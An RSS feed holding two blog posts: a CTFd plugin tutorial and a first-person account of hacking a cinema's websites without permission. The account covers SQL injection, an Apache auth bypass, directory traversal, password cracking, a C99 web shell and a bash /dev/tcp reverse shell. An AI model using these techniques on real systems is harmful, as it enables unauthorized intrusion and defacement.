<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Gregoire Lodi on Medium]]></title>
        <description><![CDATA[Stories by Gregoire Lodi on Medium]]></description>
        <link>https://medium.com/@gregoire.lodi?source=rss-ee7d6a634d58------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Gregoire Lodi on Medium</title>
            <link>https://medium.com/@gregoire.lodi?source=rss-ee7d6a634d58------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 01:23:27 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@gregoire.lodi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Writing CTFd plugins: a beginner walkthrough]]></title>
            <link>https://medium.com/@gregoire.lodi/writing-ctfd-plugins-a-beginner-walkthrough-7d0b93eb89e7?source=rss-ee7d6a634d58------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d0b93eb89e7</guid>
            <category><![CDATA[ctfd]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[plugins]]></category>
            <dc:creator><![CDATA[Gregoire Lodi]]></dc:creator>
            <pubDate>Mon, 24 Jun 2019 09:21:14 GMT</pubDate>
            <atom:updated>2019-06-24T09:21:14.686Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d9-9NxdzZF_luaPjLHysvg.jpeg" /><figcaption>“Include a high-quality image in your story to make it more inviting to readers.” — Thanks Medium</figcaption></figure><h3>Introduction</h3><p>Provided the overall lack of documentation about CTFd plugins, I decided to write a ‘real-life example’ of a plugin’s creation. This guide covers a small part of my own plugin created for the need of the company I work for. Basically, we use the plugin to synchronise Gitlab pipelines with CTFd (solve challenges when pipelines passes).</p><p>The most important and most basic tip I can have for this guide: clone the CTFd repository, have it always opened in your favourite IDE and be ready to Ctrl-Click &amp; read CTFd’s code. Exploring is the key!</p><p>It is recommended to have carefully read CTFd’s plugin documentation and have the tab opened. This guide assume you are familiar with concepts explained there.</p><h3>What we’re going to do</h3><p>The plugin we’re going to write will have one basic goal: the automatic creation of a Gitlab account when a new user sign up in our CTFd instance.</p><h3>Setup</h3><p>I personally use a Docker image for development, but you can just set it up on your own computer. Here’s my <em>Dockerfile</em>:</p><pre><strong>FROM</strong> ctfd/ctfd</pre><pre><strong>RUN</strong> pip install --user python-gitlab # dependencies<br><strong>ENV</strong> PYTHONUNBUFFERED 1 # easier to debug</pre><pre><strong>ENTRYPOINT</strong> [&quot;python&quot;, &quot;serve.py&quot;]</pre><p>And <em>docker-compose.yml</em>:</p><pre>version: &quot;3.7&quot;</pre><pre>services:<br>  ctfd-dev:</pre><pre>    build:<br>      context: .<br>      dockerfile: dev.Dockerfile</pre><pre>    ports:<br>      - 4000:4000</pre><pre>    volumes:<br>      - ./my_plugin:/opt/CTFd/CTFd/plugins/my_plugin<br>      - ./serve.py:/opt/CTFd/serve.py<br>      - ./ctfd.db:/opt/CTFd/CTFd/ctfd.db</pre><pre>    restart: always</pre><p>We’ll want to customise the <em>serve.py</em> file to use debug mode:</p><pre><strong>from</strong> <strong>CTFd</strong> <strong>import</strong> create_app, socketio</pre><pre>app = create_app()</pre><pre><em># Debug mode, listening on any hosts</em><br>socketio.run(app, debug=True, host=&quot;0.0.0.0&quot;, port=4000)</pre><h3>Plugin architecture</h3><p>Let’s create a directory that will hold our source files, config files, etc, and touch a few files.</p><pre>mkdir my_plugin<br>touch my_plugin/config.json <em># Plugin configuration</em><br>touch my_plugin/__init__.py <em># File executed when plugin loads</em><br>touch my_plugin/blueprint.py <em># Flask blueprint source code</em><br>touch my_plugin/controllers.py <em># Controllers source code</em><br>touch my_plugin/hooks.py <em># Hooks source code</em></pre><p>And that should do it. No worries, every file will be explained and written during this guide.</p><p>Let’s write the <em>config.json</em> file right now:</p><pre>{<br>    <strong>&quot;name&quot;</strong>: &quot;My Plugin&quot;,<br>    <strong>&quot;route&quot;</strong>: &quot;/admin/my_plugin&quot;<br>}</pre><p>And <em>__init__.py</em>:</p><pre><strong># The load method is the entry point of our plugin, as described in the docs</strong></pre><pre><strong>def</strong> load(app):<br>    <strong>print</strong>(&quot;My plugin is ready!&quot;)</pre><p>Yay, we just registered a new plugin to the CTFd instance! If you docker-compose up --build now, you should see (among other things):</p><pre>ctfd-dev_1  | My plugin is loaded!<br>ctfd-dev_1  |  * Loaded module, &lt;module &#39;CTFd.plugins.my_plugin&#39; from &#39;/opt/CTFd/CTFd/plugins/my_plugin/__init__.pyc&#39;&gt;<br>ctfd-dev_1  |  * Debugger is active!<br>ctfd-dev_1  |  * Debugger PIN: [redacted]</pre><h3>Admin configuration page</h3><p>Okay, so we will probably need a way to hold our configuration. CTFd stores things in a SQLite database, so we’ll just use that.</p><p>Note: It is important to know that the whole CTFd back-end is a Flask application which I’ll refer to as ‘Flask app’ later on.</p><p>If you login as an admin and access the admin configuration page (Login as admin &gt; Admin &gt; Plugins &gt; My Plugin), you’ll get a 404, because CTFd does not provides any default way to handle plugins pages. That’s why we’ll use the <em>blueprint.py</em> file for. I’m assuming you have a correct understanding of Flask and its concepts.</p><pre><strong>from</strong> <strong>flask</strong> <strong>import</strong> request, render_template, Blueprint, abort<br><strong>from</strong> <strong>.controllers</strong> <strong>import</strong> ConfigController</pre><pre>my_plugin_bp = Blueprint(&quot;my_plugin&quot;, __name__, template_folder=&quot;templates&quot;)</pre><pre><strong>def</strong> load_bp(plugin_route):<br>    # Handle GET requests: serve the config page with pre-filled values<br>    @my_plugin_bp.route(plugin_route, methods=[&quot;GET&quot;])<br>    <strong>def</strong> get_config():<br>        config = ConfigController.get_all()<br>        <strong>return</strong> render_template(&quot;config.html&quot;, all_config=config)</pre><pre>    # Handle POST requests: update the configuration in the database<br>    @my_plugin_bp.route(plugin_route, methods=[&quot;POST&quot;])<br>    <strong>def</strong> update_config():<br>        conf = request.form.to_dict()</pre><pre>        # We don&#39;t need anymore the nonce - the request is already validated<br>        <strong>del</strong> conf[&quot;nonce&quot;]</pre><pre>        ConfigController.update_all(conf)<br>        <strong>return</strong> get_config()</pre><pre>    <strong>return</strong> my_plugin_bp</pre><p>We basically register two methods for the same route (the very same route we defined in our <em>config.json</em> file), one to retrieve the configuration (GET) and one to update it (POST). You might have seen that I’ve introduced the controller notion here, let’s create a ConfigController in the <em>controllers.py</em> file which does nothing - we will update it later.</p><pre><strong>class</strong> <strong>ConfigController</strong>:<br>    @staticmethod<br>    <strong>def</strong> get_all():<br>        <strong>return</strong> []</pre><pre>    @staticmethod<br>    <strong>def</strong> update_all(conf):<br>        <strong>pass</strong></pre><p>To allow our blueprint to work, we must call the load_bp function in our <em>__init__.py</em> file:</p><pre><strong>import</strong> <strong>json</strong><br><strong>import</strong> <strong>os</strong></pre><pre><strong>from</strong> <strong>.blueprint</strong> <strong>import</strong> load_bp<br><strong>from</strong> <strong>.controllers</strong> <strong>import</strong> ConfigController</pre><pre>PLUGIN_PATH = os.path.dirname(__file__)<br>CONFIG = json.load(open(&quot;{}/config.json&quot;.format(PLUGIN_PATH)))<br></pre><pre><strong>def</strong> load(app):<br>    app.db.create_all() # Create all DB entities</pre><pre>    ConfigController.load_default() # Load our default configuration</pre><pre>    bp = load_bp(CONFIG[&quot;route&quot;]) # Load blueprint<br>    app.register_blueprint(bp) # Register blueprint to the Flask app</pre><p>Here we read the configuration file, create all DB entities, and load our default configuration settings (detailed below). Lastly, we load the blueprint and register it in the Flask app.</p><p>Now, you can go to the plugin page (Admin &gt; Plugins &gt; My Plugin). This will raise a Jinja2 exception because we haven’t yet created the template, that’s what we’re going to do next!</p><p>We need to add the template file used in our blueprint. To do so, create a new directory my_plugin/templates and a config.html file inside it. I’m assuming you’re a bit familiar with templating engines such as Twig or Jinja2.</p><pre>{% extends &quot;admin/base.html&quot; %}</pre><pre>{% block content %}</pre><pre>&lt;<strong>style</strong>&gt;.<strong>body</strong> { <strong>margin-top</strong>: 3vh; }&lt;/<strong>style</strong>&gt;</pre><pre>&lt;<strong>div</strong> class=&quot;container body&quot;&gt;<br>    &lt;<strong>h2</strong>&gt;My Plugin configuration&lt;/<strong>h2</strong>&gt;</pre><pre>    &lt;<strong>form</strong> method=&quot;POST&quot;&gt;<br>        {% for config in all_config %}<br>            &lt;<strong>div</strong> class=&quot;form-group&quot;&gt;<br>                &lt;<strong>label</strong> for=&quot;{{ config.key }}&quot;&gt;{{ config.key }}&lt;/<strong>label</strong>&gt;<br>                &lt;<strong>input</strong> type=&quot;text&quot; value=&quot;{{ config.value }}&quot; name=&quot;{{ config.key }}&quot; id=&quot;{{ config.key }}&quot; class=&quot;form-control&quot; /&gt;<br>            &lt;/<strong>div</strong>&gt;<br>        {% endfor %}</pre><pre>        &lt;<strong>input</strong> type=&quot;hidden&quot; value=&quot;{{ nonce }}&quot; name=&quot;nonce&quot; id=&quot;nonce&quot; /&gt;</pre><pre>        &lt;<strong>button</strong> type=&quot;submit&quot; class=&quot;btn btn-primary&quot;&gt;Update configuration&lt;/<strong>button</strong>&gt;<br>    &lt;/<strong>form</strong>&gt;<br>&lt;/<strong>div</strong>&gt;</pre><pre>{% endblock %}</pre><p>This will just render a form with an input for each configuration key/value pair. The hidden input is the nonce, aka a CSRF token. It must be included in every form you create (unless the route have a bypass_csrf_protection decorator). The nonce value is injected in any template rendered by CTFd.</p><p>The last step now is to update the ConfigController. I’m assuming decent knowledge of SQLAlchemy.</p><pre><strong>import</strong> <strong>functools</strong></pre><pre><strong>from</strong> <strong>CTFd.models</strong> <strong>import</strong> Configs, db<br></pre><pre><strong>class</strong> <strong>ConfigController</strong>:<br>    DEFAULT_CONFIG = [<br>        {&quot;key&quot;: &quot;MP_GITLAB_URL&quot;, &quot;value&quot;: &quot;&quot;},<br>        {&quot;key&quot;: &quot;MP_GITLAB_TOKEN&quot;, &quot;value&quot;: &quot;&quot;},<br>        {&quot;key&quot;: &quot;MP_GITLAB_DEFAULT_PASSWORD&quot;, &quot;value&quot;: &quot;&quot;},<br>    ]</pre><pre>    <em># Some magic to filter by configuration keys</em><br>    FBY_CONFIG_KEYS = functools.reduce(<strong>lambda</strong> x, y: x | (<br>        Configs.key == y[&quot;key&quot;]), DEFAULT_CONFIG, Configs.key)</pre><pre>    @staticmethod<br>    <strong>def</strong> get_all():<br>        <strong>return</strong> Configs.query.filter(ConfigController.FBY_CONFIG_KEYS).all()</pre><pre>    <em># Will be used later</em><br>    @staticmethod<br>    <strong>def</strong> get(key):<br>        <strong>return</strong> Configs.query.filter_by(key=key).first()</pre><pre>    @staticmethod<br>    <strong>def</strong> update(key, value):<br>        cv = Configs.query.filter_by(key=key).first()<br>        <strong>if</strong> <strong>not</strong> cv:<br>            <strong>raise</strong> <strong>KeyError</strong>(&quot;Config key <strong>%s</strong> not found&quot; % key)</pre><pre>        cv.value = value</pre><pre>    @staticmethod<br>    <strong>def</strong> update_all(conf):<br>        <strong>for</strong> key <strong>in</strong> conf:<br>            ConfigController.update(key, conf[key])<br>        db.session.commit()</pre><pre>    @staticmethod<br>    <strong>def</strong> load_default():<br>        <strong>for</strong> cv <strong>in</strong> ConfigController.DEFAULT_CONFIG:<br>            <em># Query for the config setting</em><br>            k = ConfigController.get(cv[&quot;key&quot;])</pre><pre>            <em># If its not created, create it with its default value</em><br>            <strong>if</strong> <strong>not</strong> k:<br>                c = Configs(key=cv[&quot;key&quot;], value=cv[&quot;value&quot;])<br>                db.session.add(c)</pre><pre>        db.session.commit()</pre><p>Obivously, to write this I read multiple times the source of the <em>CTFd/models.py</em> file, which I urge you to do as well! It’s useful not only for configuration values, but for every database entity used by CTFd.</p><p>We now have a configuration readable, editable and saved in CTFd database!</p><p>You can test it using the same path we’ve taken before: Admin &gt; Plugins &gt; My Plugin, and try to update the configuration. It should update correctly.</p><p>NB: If you’re using the Docker toolkit I’ve provided, the database is automatically mounted on the host file system, to make it sustainable despite restarts, and also allowing an easier direct access to the database. If for some reason you need direct access to the database, you can open it using the SQLite command line tool: sqlite ctfd.db .</p><h3>Creating a Gitlab account on user creation</h3><p>Let’s follow the same pattern to load our hooks (in this case: hook on user account creation):</p><p>In the <em>hooks.py</em> file, add this code:</p><pre><strong>from</strong> <strong>sqlalchemy.event</strong> <strong>import</strong> listen<br><strong>from</strong> <strong>CTFd.models</strong> <strong>import</strong> Users<br><strong>from</strong> <strong>.controllers</strong> <strong>import</strong> GitlabController</pre><pre><strong>def</strong> on_users_create(mapper, conn, user):<br>    GitlabController.create_user(user.email, user.name) # Read CTFd.models.Users!</pre><pre><strong>def</strong> load_hooks():<br>    listen(Users, &quot;after_insert&quot;, on_users_create)</pre><p>This is very basic, we listen for the after_insertevent (after because it ensures the CTFd account is valid and will be created) using SQLAlchemy, and use new methods in our GitlabController ; methods which we will be writing just below:</p><pre><strong>class</strong> <strong>GitlabController</strong>:<br>    @staticmethod<br>    <strong>def</strong> gitlab_instance():<br>        url = ConfigController.get(&quot;MP_GITLAB_URL&quot;).value<br>        token = ConfigController.get(&quot;MP_GITLAB_TOKEN&quot;).value</pre><pre>        <strong>return</strong> gitlab.Gitlab(url, private_token=token)</pre><pre>    @staticmethod<br>    <strong>def</strong> create_user(email, name):<br>        gl = GitlabController.gitlab_instance()</pre><pre>        user = gl.users.create({<br>            &quot;email&quot;: email,<br>            &quot;password&quot;: ConfigController.get(&quot;MP_GITLAB_DEFAULT_PASSWORD&quot;).value,<br>            &quot;username&quot;: name,<br>            &quot;name&quot;: name,<br>            &quot;skip_confirmation&quot;: True<br>        })</pre><pre>        <strong>return</strong> user</pre><p>We’re using the python-gitlab package installed with Pip (which already is in the provided Dockerfile). The code above is just a copy/paste of the example provided in the documentation of python-gitlab.</p><p>Lastly, we just have to update our <em>__init__.py</em> file to call the load_hooks method.</p><p>If you now register a new account to your CTFd instance, a Gitlab account will automatically be created using the same email and name provided by the CTFd account. It’s password is what we’ve defined in the configuration set-up. Please note that it might throws errors if the password does not meet requirements (8 chars, letters, numbers and special chars).</p><h3>The end</h3><p>To achieve the goal I mentioned in the introduction, we need a few more steps:</p><ol><li>After Gitlab account creation, fork the main project and setup integration webhooks.</li><li>Add a new route to the blueprint to handle Gitlab’s webhook and solve challenge.</li><li>This needs a lot of reading CTFd’s code for challenges! Don’t be afraid to do so.</li></ol><p>I hope this covered less documented features of CTFd, and this will be able to help some new plugin developers.</p><p>Please note that the CTFd Slack is quite active and really helpful for plugin development!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d0b93eb89e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I went from choosing a movie to a reverse shell]]></title>
            <link>https://medium.com/@gregoire.lodi/how-i-went-from-choosing-a-movie-to-a-reverse-shell-3fef361a4cfe?source=rss-ee7d6a634d58------2</link>
            <guid isPermaLink="false">https://medium.com/p/3fef361a4cfe</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[apache]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[reverse-shell]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Gregoire Lodi]]></dc:creator>
            <pubDate>Sat, 14 Apr 2018 00:40:13 GMT</pubDate>
            <atom:updated>2018-04-14T01:10:58.381Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t15LOIsScUtSGmf7lD35pQ.jpeg" /><figcaption>Totally me when I had a reverse shell</figcaption></figure><h3>Introduction</h3><p>Two days ago I decided I’d go watch a movie with a few friends. Being the eco-friendly guy I didn’t take the cinema brochure about the weekly films so I thought I’d just go on the website to see what could I watch.</p><p>I was kinda hesitant so I just clicked around, reading synopsis and whatnot. After a few minutes I noticed the URL: www.domain.com/film.php?id=xx</p><p>And here it begins!</p><h3>The SQL injection</h3><p>When you’re interested in infosec, you just can’t see a URL ending like .php?id=x and not trying to add a little quote to it, <em>just to see</em>.</p><p>Aaand, as kinda expected, a bug appeared: the movie’s picture stopped displaying correctly. A quick detour through Chrome’s Inspect Element to see that the image source is another php page: displayposter.php?id=x</p><p>Let’s visit that page… MySQL errors. Not good :(. At this point I started to exploit the SQL injection manually but quickly remembered that sqlmap was created for a reason.</p><p>Pulling up the terminal and running sqlmap -u <a href="http://www.domain.com/displayposter.php?id=xa">www.domain.com/displayposter.php?id=x</a> allowed me to quickly see that it was indeed vulnerable.</p><p>I was not at all interested in the movie anymore, however totally thrilled by what I had just discovered. I decided to investigate it a bit more: this would end up with a successful dump of their entire database.</p><h3>Exploring the dump: a ‘master’ website?</h3><p>After a few minutes of watching sqlmap doing its thing I was able to browse the whole database.</p><p>Some MySQL tables got my attention, starting by the obvious users table. The table had only one entry: an account with the username ‘admin’ and a MD5 encrypted string as password. The decrypted password was found quickly in a online hash-cracking database service, but unfortunately I hadn’t yet seen any login page or administration page.</p><p>Moving onto another table: cinemas . This table was filled with 6 entries, each having an ID (duh) and a city name. I understood that there were 6 different websites in different places, some places being 300+ km away from the ‘original cinema’. Each of these websites were hosted on the same server and had the same (shared) database.</p><p>That was confirmed by exploring the dump, entities that were not common to all 6 cinemas had a cinemaid column, confirming that the database was shared among all these separate locations.</p><p>I went on and decided to find the host of all these websites. After a few minutes I saw that static images (understand: not film posters) were served from another host, let’s call it <a href="http://www.target.com/">www.target.com</a></p><h3>El famoso dirb</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AXF6ztdQFP_jC3CW7lKptA.jpeg" /><figcaption>That’s not dirb and I don’t use Kali but it looks cool.</figcaption></figure><p>Now that I had the main host, I pulled up the not-so-famous dirb tool, allowing one to scan a URL with a given wordlist. After just a minute I learnt that there was an /admin returning an HTTP 401. I could’ve guessed that myself…</p><p>There was also a ton of other endpoints that I explored BEFORE taking a look at the /admin URL but none of them rendered anything useful. Just a webmaster that forgot to turn off the Apache Directory Listing or let some temporary files on the root of his webserver.</p><h3>Apache Basic Authentication</h3><p>Entering the <a href="http://www.target.com/admin">www.target.com/admin</a> URL in my browser, I immediately understood why dirb threw me a 401: the admin backoffice was using Apache Basic Authentication to authenticate users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*Xap2Z7wxojOnE7x0DhyDlQ.png" /><figcaption>Here’s Apache Basic Authentication. The site says “Restricted Access”. Gaussian Blur thanks to GIMP™.</figcaption></figure><p>The authentication works as expected. However, the backend language was PHP thus they should’ve been twice as careful.</p><p>Indeed, as you can see on the <a href="https://github.com/php/php-src/blob/master/main/SAPI.c#L438">PHP source</a> (taking a closer look at the sapi_activate() function), PHP will first check if it’s a HEAD, then a POST, and anything else is considered ‘handlable’ by the PHP script and passed through. The mod_php module will just assume that your script can handle the request method, whatever it is.</p><p>So if the Apache Authentication is setup to disallow specifically GET and POST requests with a &lt;Limit GET,POST&gt; directive, you can still send a GETS request and it will be handed down to the PHP script… which will assume it’s a GET. :)</p><p>Thank you PHP.</p><p>Knowing about this, I naively tried a curl -XGETS <a href="http://www.domain.com/admin/">www.domain.com/admin/</a> …and it worked. I had a full access to the admin panel, <strong>read only</strong>. Now I needed to gain full control over that, so I started exploring.</p><h3>Directory traversal in the filemanager</h3><p>After a few curls, I noticed a URL that would draw any infosec-interested-guy’s attention: a file manager. That file manager was used to upload movie posters and PDFs and whatnot.</p><p>Playing around with that file manager I tried to do some basic directory traversal, changing the path=/ variable to ../. Unfortunately, ../ was caught by the PHP script and resulted with a message ‘<em>HACK ATTEMPT — The administrator was notified</em>’. Oops.</p><p>URL encoding characters didn’t work, using unicode didn’t work and trying to escape characters using backslash didn’t work either. The best I could do with that variable was <a href="https://cwe.mitre.org/data/definitions/32.html">...</a> which was the parent directory but unfortunately I couldn’t add a / else it’d trigger the ../ filter.</p><p>After spending quite some time on that variable I eventually gave up and started exploring more in depth that file manager.</p><p>Eventually I found another request used to view images. The path variable was still there but there was another variable as well: file=image.jpg. I tried the famous ../ and this time… it worked. :)</p><p>So the image viewer was exploitable <em>via </em>a directory traversal technique. After a few tries I had a valid and quite interesting input: file=../../../../../path/to/www/admin/.htpasswd. Unfortunately, as it was an image viewer (displaying the image with &lt;img/&gt;) I only had the information that the file weighs 22 bytes and couldn’t read the file as text.</p><p>Considering Apache’s <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">passwords formats</a>,</p><ul><li>bcrypt: a hash is ~60 bytes, 60 &gt; 22. Impossible.</li><li>MD5: 32 bytes, 32 &gt; 22. Impossible.</li><li>SHA1: 40 bytes, 40 &gt; 22. Impossible.</li><li>Crypt: 14 bytes, 14 &lt; 22. <strong>Possible</strong>.</li><li>Plain text: <strong>possible</strong>.</li></ul><p>So the password was stored either encrypted with crypt(3) or as plain text. I’ve never seen any <em>.htpasswd</em> with plain text so I assumed crypt(3) was used. Considering crypt(3)’s return value is 14 bytes long, the username will be 9 bytes long: 9 + 1 + 14 = 22 (the ‘1’ is the : used to separate the username and the password).</p><p>At that point I considered bruteforcing / dictionary attacking the password as I had some ideas of the username but I thought it was not <em>classy</em>. I still fired up the good ol’ THC Hydra just in case.</p><p>While Hydra was running, I thought about some better way to get the credentials stored in the <em>.htpasswd</em>. In fact the better way was just in front of me, but it took me some time to find out about it.</p><p>Indeed, in the URL used to view an image, there was a GET variable: action=view. I tried to change view with download… and <em>voilà</em>, I was downloading the image I was just viewing a few seconds ago (more like viewing it’s raw data but I guess you can call that downloading).</p><p>One more request and I downloaded the <em>.htpasswd</em>: <a href="http://www.target.com/admin/?path=/&amp;file=../../../../../path/to/www/admin/.htpasswd&amp;action=download">www.target.com/admin/?path=/&amp;file=../../../../../path/to/www/admin/.htpasswd&amp;action=download</a>.</p><p>In the middle of two PHP errors, the <em>.htpasswd</em> proudly looking at me. I was wrong about my guesses about the username, but right about it using crypt(3). Great.</p><h3>Cracking the <em>.htpasswd</em></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*hkyEr0wpYHUp6E9584do0w.png" /><figcaption>Thank you John.</figcaption></figure><p>With the <em>.htpasswd</em> using crypt(3) it was trivial to crack it using John The Ripper: john htpasswd. After under one minute the password was mine, and the whole 6 websites administration too.</p><h3>Getting to the reverse shell</h3><p>I had full control of the websites, but it was not enough. I wanted to have a little bit more fun so I decided to try to get a reverse shell out of this.</p><p>I had access to the administration panel, now with write access. There was some kind of file manager available so I just used the same technique I used to download the <em>.htpasswd</em>, but on the filemanager itself.</p><p>The file manager was one big block of 1500 lines of PHP. A few minutes reading into this and I found what interested me:</p><pre>// add extensions of file types you want &quot;turned off&quot;<br>$ExtensionsOFF = array(&quot;php&quot;,&quot;cgi&quot;,&quot;php4&quot;,&quot;php3&quot;,&quot;pl&quot;,&quot;js&quot;);</pre><p>Nice try, but you’re missing quite a few extensions there, and noticeably the .php5 one. The file manager had a 2003 copyright notice though, so I guess PHP5 was not really planned yet.</p><p>I went on and uploaded my c99.php5 in one random folder. It went as smoothly as it could, a few seconds after I was on the C99 panel.</p><p>I SSH’d on one of my servers and ran a netcat waiting for incoming connections: nc -l -vv -p 1337 . Back on the C99 panel I ran bash -i &gt;&amp; /dev/tcp/&lt;IP&gt;/1337 0&gt;&amp;1, and <em>voilà</em>, a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*P0I1nblAYzmiY4bxuntLDg.png" /><figcaption>My reverse shell. Not sure what’s up with the non printable characters though.</figcaption></figure><p>Unfortunately (probably fortunately), the user didn’t have any privileges and I couldn’t start the SSH service to have a durable connection to the server so I just stopped there.</p><p>Having a remote shell from the will to watch a movie was enough.</p><h3>Fixes</h3><p>I had fun. I even posted a new editorial and slightly edited a page just to say <em>I did it.</em> However I’m no blackhat, and once the fun is over I have responsibilities.</p><p>So I went on my lil’ C99 and edited the .htaccess file from this:</p><pre>AuthUserFile /path/to/www/admin/.htpasswd<br>AuthGroupFile /dev/null<br>AuthName &quot;Acces Restreint&quot;<br>AuthType Basic<br>&lt;Limit GET POST&gt;<br>require valid-user<br>&lt;/Limit&gt;</pre><p>To this:</p><pre>AuthUserFile /path/to/www/admin/.htpasswd<br>AuthGroupFile /dev/null<br>AuthName &quot;Acces Restreint&quot;<br>AuthType Basic<br>require valid-user</pre><p>And that’s how you fix all this shit. Apache will prompt for authentication for all methods instead of passing unknown methods down to the PHP script.</p><p>I also mailed them about how I did it, telling into details what was wrong and warning them about the SQL injection I found that led to all this. Considering how old the website is, I doubt that will be corrected but I guess I did my best to help them.</p><h3>Conclusion</h3><p>From one SQL injection, I got a remote shell and was able to administrate 6 websites. Small websites, but still something.</p><p>The SQL injection was not even the real weakness, it only drew my attention to the eventuality of exploiting the website.</p><p><strong>Kids, learn how to configure Apache.</strong></p><p>Thanks for reading. *generic blabla about claps and follow on Twitter*.</p><h3>TL;DR?</h3><ul><li>Classic SQL Injection, dumping the database with sqlmap,</li><li>Thanks to the database I find that the database is shared among multiple websites,</li><li>I find the address of the main website and the admin panel,</li><li>Bypassing the Apache Authentication using nonexistent HTTP verbs such as GETS,</li><li>Exploiting a directory traversal weakness in the file manager to download the <em>.htpasswd </em>file,</li><li>Cracking the password with John The Ripper,</li><li>Uploading C99 shell,</li><li>Reverse shell :)</li><li>Fixing the faulty configuration,</li><li>Emailing what went wrong to the owner.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3fef361a4cfe" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>